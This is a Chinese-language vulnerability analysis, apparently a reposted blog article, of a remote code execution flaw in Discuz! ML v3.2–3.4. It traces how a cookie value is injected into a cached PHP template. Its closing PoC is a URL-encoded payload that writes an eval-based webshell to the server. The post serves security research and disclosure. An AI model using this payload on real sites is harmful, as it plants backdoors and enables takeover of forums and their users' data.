前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Discuz ML! V3.X RCE

Discuz ML! V3.X RCE

作者头像
wywwzjj
发布2023-05-09 14:27:30
2390
发布2023-05-09 14:27:30
举报

概述

Discuz!ML 是一个由 CodersClub.org 创建的多语言,集成,功能齐全的开源网络平台,用于构建像 “社交网络” 这样的互联网社区。该引擎基于 Comsenz Inc. 创建的着名的 Discuz!X 引擎开发。

但是,这与常见的 Discuz 论坛还是没多大关系。

影响版本

Discuz! ML v.3.4

Discuz! ML v.3.3

Discuz! ML v.3.2

复现

简单来说,没有经过任何处理的 cookie 直接被拼接进模板,该模板被 include 后自然就执行了。

(不愧是官方的 Demo)

分析

主入口是 upload 目录下的 index.php,没有任何参数的情况下直接载入 forum.php

紧接着 forum.php 又加载了两个核心文件,好戏就要开始了。

class_core.php 中的 39 行 createapp() 开始实例化一个超级对象,再跟一下构造函数

环境变量一些初始化以及输入输出的处理全是在这里完成的,焦点锁定到 _init_input()

找找这个可控点被用在什么地方

其他地方都是包含,这里有个缓存文件,先不管,继续跟,发现开始加载 forum_index.php

form_index.php 的 433 行开始加载模板

代码语言:javascript
复制
include template('diy:forum/discuz:'.$gid);

之前的那个可控点在这里出现了

紧接着被传入了这个函数之中

代码语言:javascript
复制
checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT . $cachefile), $templateid, $cachefile, $tpldir, $file);

继续跟,在 function_core.php 中的第 523 行 cachefile 被传入进行解析

代码语言:javascript
复制
$template->parse_template($maintpl, $templateid, $tpldir, $file, $cachefile);

在 class_template.php 中,读取了一下原有的模板

接着用正则进行替换

末尾将写入文件

接下来到了激动人心的时刻,这里将拼接我们的恶意语句进入模板

但是第一次并不会直接拼接,因为这时候的子模板并没生成,这里先留个印象。

template()将返回一个绝对路径,然后被包含,这时候会执行之前生成的模板,这里继续加载模板。

直到这一次加载,恶意语句才真正写入

代码语言:javascript
复制
$headeradd = "
0
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_common.htm', 1564153001, '', './data/template/en'.phpinfo().'___common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/header_qmenu.htm', 1564153002, '', './data/template/en'.phpinfo().'___common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
|| checktplrefresh('./template/default/common/header.htm', './template/default/common/pubsearchform.htm', 1564153002, '', './data/template/en'.phpinfo().'___common_header_forum_index.tpl.php', './template/default', 'common/header_forum_index')
;"

可看到具体的位置

简化一下就是

代码语言:javascript
复制
checktplrefresh('1', '2', 1564153002, '', '3'.phpinfo().'4', '5', '6')

自然 phpinfo() 的内容就被拼接到了模板文件中

最初生成的文件中还有加载了其他模板,接二连三就生成了好几个文件,最终形成了展示的页面。

PoC

由于 cookie 中不能有大写字母,写 webshell 时自然不能直接写,这里可以使用 URL 编码来解决。

代码语言:javascript
复制
%27.file_put_contents%28%27confi9.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b1%255d%29%253b%253f%253e%27%29%29.%27

总结

最初的可控变量被拼接到模板中,再加上生成的模板被包含,此时恶意代码就生效了,导致代码注入。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019/07/18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概述
  • 复现
  • 分析
  • PoC
  • 总结
相关产品与服务
Discuz!
Discuz! 是全球领先的论坛社区应用系统,自2001年6月面世以来,服务超过300多万网站用户案例。现在,借助 Discuz! ,您不仅可以使用搭建传统的社区论坛,更可轻易的构建面向移动互联网时代的私域流量和社交圈子类的应用,并快速启动业务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档